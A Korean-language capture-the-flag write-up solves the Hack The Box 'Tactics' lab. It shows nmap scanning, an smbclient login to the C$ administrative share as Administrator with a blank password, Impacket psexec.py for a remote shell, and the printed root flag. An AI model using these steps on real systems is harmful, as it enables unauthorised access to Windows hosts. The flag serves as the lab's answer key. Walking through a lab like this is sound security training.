▌ TRANSMISSION · [HTB]

[STARTING_POINT] Tier1 Tactics


alt text

Task 1

Which Nmap switch can we use to enumerate machines when our ping ICMP packets are blocked by the Windows firewall? Windows 방화벽에서 ICMP ping 패킷이 차단된 경우, Nmap으로 호스트를 탐지(열거)할 때 사용할 수 있는 옵션은 무엇인가요?

nmap은 기본적으로 icmp, 443, 80 scanning을 통해 호스트 탐지(host discovery)를 진행하는데, 응답이 돌아오지 않는게 하나라도 있다면 호스트가 죽었다고 판단합니다.

이런 호스트 탐지를 하지 않고 포트 스캐닝을 진행하려면 -Pn 옵션을 사용하면 됩니다.

┌──(kali㉿kali)-[~]
└─$ sudo nmap 10.129.17.178 -p- -Pn --min-rate 2000       
[sudo] password for kali: 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-02 21:32 +0900
Nmap scan report for 10.129.17.178
Host is up (0.28s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 66.62 seconds

Task 2

What does the 3-letter acronym SMB stand for? SMB라는 3글자 약자는 무엇을 의미하나요?

SMB는 Server Message Block 의 약어입니다.

Task 3

What default port does SMB listen on? SMB는 기본적으로 어떤 포트를 사용하나요?

SMB의 기본 포트는 445 입니다.

Task 4

What command line argument do you give to smbclient to list available shares? smbclient에서 사용 가능한 공유(share) 목록을 확인하려면 어떤 명령어 옵션을 사용해야 하나요?

우선 포트 스캔 결과 해당 머신에 SMB 프로토콜이 동작하고 있다는 것을 알 수 있으니, smbclient를 통해 접근해볼 수 있습니다.

smbclient --help

smbclient 도움말을 확인해보면, -L 옵션을 통해 공유 목록을 확인할 수 있음을 알 수 있습니다.

-N 옵션을 통해 패스워드 없이 접속 시도를 할 수 있습니다. 이게 가능하다면 null session 취약점이 존재함을 확인할 수 있습니다.

하지만,

┌──(kali㉿kali)-[~]
└─$ smbclient -L //10.129.17.178 -N    
session setup failed: NT_STATUS_ACCESS_DENIED

시도해보면, 로그인에 실패하는 것을 볼 수 있습니다.

그러면 계정명을 추측해야하는데, 우선 관리자 계정명인 Administrator 로 시도해볼 수 있습니다. (-U 옵션으로 지정)

┌──(kali㉿kali)-[~]
└─$ smbclient -L //10.129.17.178 -U Administrator
Password for [WORKGROUP\Administrator]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.17.178 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

패스워드를 물어보는데, 이때 그냥 엔터키로 넘어가면 로그인이 되어버립니다. (취약 - 패스워드 X)

이렇게 관리자 권한으로 SMB에 접근할 수 있음을 확인할 수 있습니다.

Task 5

What character at the end of a share name indicates it’s an administrative share? 공유 이름 끝에 어떤 문자가 붙으면 관리용(Administrative) 공유임을 의미하나요?

정답은 $ 표시 입니다.

$ 기호는 숨김 공유(Hidden Share)를 의미하는데, 일반 사용자에게는 안보이게 숨겨진 공유 입니다.

접근 권한이 있으면 당연히 접속 가능하며, 이런 특성 때문에 관리자용 / 시스템용으로 사용됩니다.

Task 6

Which Administrative share is accessible on the box that allows users to view the whole file system? 이 시스템에서 전체 파일 시스템을 확인할 수 있도록 접근 가능한 관리 공유는 무엇인가요?

정답은 C$ 입니다.

C$ 는 시스템의 루트 파티션 (C드라이브!) 전체를 공유하는 관리 공유이기 때문입니다.

Task 7

What command can we use to download the files we find on the SMB Share? SMB 공유에서 발견한 파일을 다운로드할 때 사용할 수 있는 명령어는 무엇인가요?

Administrator로 C$에 접근해서

┌──(kali㉿kali)-[~]
└─$ smbclient  //10.129.17.178/C$ -U Administrator
Password for [WORKGROUP\Administrator]:
Try "help" to get a list of possible commands.
smb: \> help
?              allinfo        altname        archive        backup         
blocksize      cancel         case_sensitive cd             chmod          
chown          close          del            deltree        dir            
du             echo           exit           get            getfacl        
geteas         hardlink       help           history        iosize         
lcd            link           lock           lowercase      ls             
l              mask           md             mget           mkdir          
mkfifo         more           mput           newer          notify         
open           posix          posix_encrypt  posix_open     posix_mkdir    
posix_rmdir    posix_unlink   posix_whoami   print          prompt         
put            pwd            q              queue          quit           
readlink       rd             recurse        reget          rename         
reput          rm             rmdir          showacls       setea          
setmode        scopy          stat           symlink        tar            
tarmode        timeout        translate      unlock         volume         
vuid           wdel           logon          listconnect    showconnect    
tcon           tdis           tid            utimes         logoff         
..             !  

도움말을 확인해보면, get 명령을 확인할 수 있는데, 이 명령으로 파일을 다운로드할 수 있습니다.

Task 8

Which tool that is part of the Impacket collection can be used to get an interactive shell on the system? Impacket 컬렉션에 포함된 도구 중, 시스템에서 인터랙티브 쉘을 얻을 수 있는 도구는 무엇인가요?

Impacket은 네트워크 프로토콜을 처리하는 Python 라이브러리 모음으로, 주로 윈도우 환경의 네트워크 프로토콜을 대상으로 Low-level 프로그래밍 액세스를 제공합니다.

인증, 원격 실행, 정보 수집, 특수 공격 등등이 가능하며, 여기서는 psexec.py 를 이용하면 원격 실행이 가능합니다.

  • psexec.py는 SMB를 통한 원격 명령 실행을 도와줍니다.

git clone → pip3 install -r requirements.txt --break-system-packagespython3 psecex.py <hostname>@<ip>

위 순서대로 사용 가능하며, 손쉽게 공격이 가능합니다.

Submit Flag

Submit root flag

smb: \Users\Administrator\Desktop\> ls
  .                                  DR        0  Thu Apr 22 16:16:03 2021
  ..                                 DR        0  Thu Apr 22 16:16:03 2021
  desktop.ini                       AHS      282  Thu Apr 22 00:23:32 2021
  flag.txt                            A       32  Fri Apr 23 18:39:00 2021

                3774463 blocks of size 4096. 1158887 blocks available

\Users\Administrator\Desktop 에서 flag.txt를 get 명령으로 다운 받은 뒤, 읽어보면

┌──(kali㉿kali)-[~]
└─$ cat flag.txt        
f751c19eda8f61ce81827e6930a1f40c

플래그를 획득할 수 있습니다.

  • Flag : f751c19eda8f61ce81827e6930a1f40c

← ALL POSTS